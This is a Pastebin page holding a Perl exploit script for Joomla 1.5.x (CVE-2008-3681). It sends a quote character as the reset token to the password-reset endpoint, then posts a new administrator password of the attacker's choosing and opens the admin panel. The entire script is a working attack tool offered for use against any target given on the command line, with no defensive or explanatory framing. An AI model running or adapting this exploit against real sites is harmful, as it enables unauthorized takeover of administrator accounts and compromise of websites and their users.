zepek_al

[exploit] Joomla 1.5.x Remote Adm Change Passw by Zepek

Nov 9th, 2017
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.12 KB | None | 0 0
  1. #Exploit Title: Joomla 1.5.x (Token) Remote Admin Change Password Vulnerability (perl)
  2. #Date: 27/01/2013
  3. #Exploit Author: live:zepek_al
  4. #Vendor Homepage: http://www.joomla.org/
  5. #CVE: 2008-3681
  6. #Thanks to d3m0n
  7. #Some parameters are variables (like cookies,User-Agent,PeerPort ...)
  8. #!/usr/bin/perl
  9. use LWP::UserAgent;
  10. use HTTP::Request::Common;
  11. use IO::Socket::INET;
  12. system("clear");
  13. print "---------------------------------------------------\n";
  14. print " Joomla 1.5.x (Token) Remote Admin Change Password  \n";
  15. print "            Created by Zepek                        \n";
  16. print "---------------------------------------------------\n\n";
  17. $agent = LWP::UserAgent->new();
  18. $agent->agent('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0');
  19. $target = $ARGV[0];
  20. $newpass = $ARGV[1];
  21. if($target eq '' || $newpass eq '')
  22. {
  23. sleep 0.3;
  24. print "Usage: ./exploit.pl <target> <new password>\n\n";
  25. exit(1);
  26. }
  27.  
  28. if($target !~ /http:\/\//)
  29. {
  30. $target = "http://$target";
  31. }
  32.  
  33. $host = $target . "/index.php?option=com_user&view=reset&layout=confirm" ;
  34. $body = "token=%27&d851e0ec18898263d9e5ae9de61dd519=1";
  35. print "$host\n\n";
  36. $length = length $body;
  37. $body = "$body\r\n\r\n";
  38. sleep 1;
  39. print "[*] Testing if website exists ...\n";
  40. $req = $agent->request(HTTP::Request->new(GET=>$host));
  41. if ($req->is_success)
  42. {
  43. print "Website exists . \n\n";
  44. print "Exploiting Joomla website . . wait please . . \n";
  45. sleep 1.5;
  46. print "[*] Sending malicious token on $host\n\n";
  47. sleep 0.5;
  48. $sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]", PeerPort => 'http(80)', Proto => 'tcp');
  49. print $sock "POST /index.php?option=com_user&task=confirmreset HTTP/1.1\r\n";
  50. print $sock "Host:$ARGV[0]\r\n";
  51. print $sock "User-Agent:BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0\r\n";
  52. print $sock "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  53. print $sock "Accept-Language: en-US,en;q=0.5\r\n";
  54. print $sock "Accept-Encoding: gzip, deflate\r\n";
  55. print $sock "Referer: $host\r\n";
  56. print $sock "Cookie: __utma=194891897.1942900790.1359225585.1359234394.1359278693.3; __utmz=194891897.1359225585.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 9449e28969660ef964b805af19d964a8=820cd28c8b1b5326299f67c549acee86; __utmb=194891897.1.10.1359278693; __utmc=194891897\r\n";
  57. print $sock "Connection: keep-alive\r\n";
  58. print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
  59. print $sock "Content-Length:$length\r\n";
  60. print $sock $body ;
  61. close($sock);
  62.  
  63. $body1 = "password1=$newpass&password2=$newpass&d851e0ec18898263d9e5ae9de61dd519=1";
  64. $length1 = length $body1;
  65. $body1 = "$body1\r\n\r\n";
  66. $host = $target . "/index.php?option=com_user&view=reset&layout=complete";
  67. print "[*] Sending '$newpass' as new admin panel password\n\n";
  68. sleep 1;
  69. $sock2 = IO::Socket::INET->new(PeerAddr => "$ARGV[0]", PeerPort => 'http(80)' , Proto => 'tcp');
  70. print $sock2 "POST /index.php?option=com_user&task=completereset HTTP/1.1\r\n";
  71. print $sock2 "Host:$target\r\n";
  72. print $sock2 "User-Agent:BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0\r\n";
  73. print $sock2 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  74. print $sock2 "Accept-Language: en-US,en;q=0.5\r\n";
  75. print $sock2 "Accept-Encoding: gzip, deflate\r\n";
  76. print $sock2 "Referer:$host\r\n";
  77. print $sock2 "Cookie: __utma=194891897.1942900790.1359225585.1359234394.1359278693.3; __utmz=194891897.1359225585.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 9449e28969660ef964b805af19d964a8=820cd28c8b1b5326299f67c549acee86; __utmb=194891897.2.10.1359278693; __utmc=194891897\r\n";
  78. print $sock2 "Connection: keep-alive\r\n";
  79. print $sock2 "Content-Type: application/x-www-form-urlencoded\r\n";
  80. print $sock2 "Content-Length:$length1\r\n";
  81. print $sock2 $body1;
  82. close($sock2);
  83.  
  84. sleep 2;
  85. print "[+] Exploit sent successfully. \nTry to login in admin page --> $target/administrator \n\n";
  86. $webadmin = "$target/administrator";
  87. $cmd = "firefox $webadmin";
  88. system($cmd);
  89. }
  90.  
  91. else
  92. {
  93. print "[!] Website does not exist or is not currently accessible .\n\n";
  94. }
Advertisement
Add Comment
Please, Sign In to add comment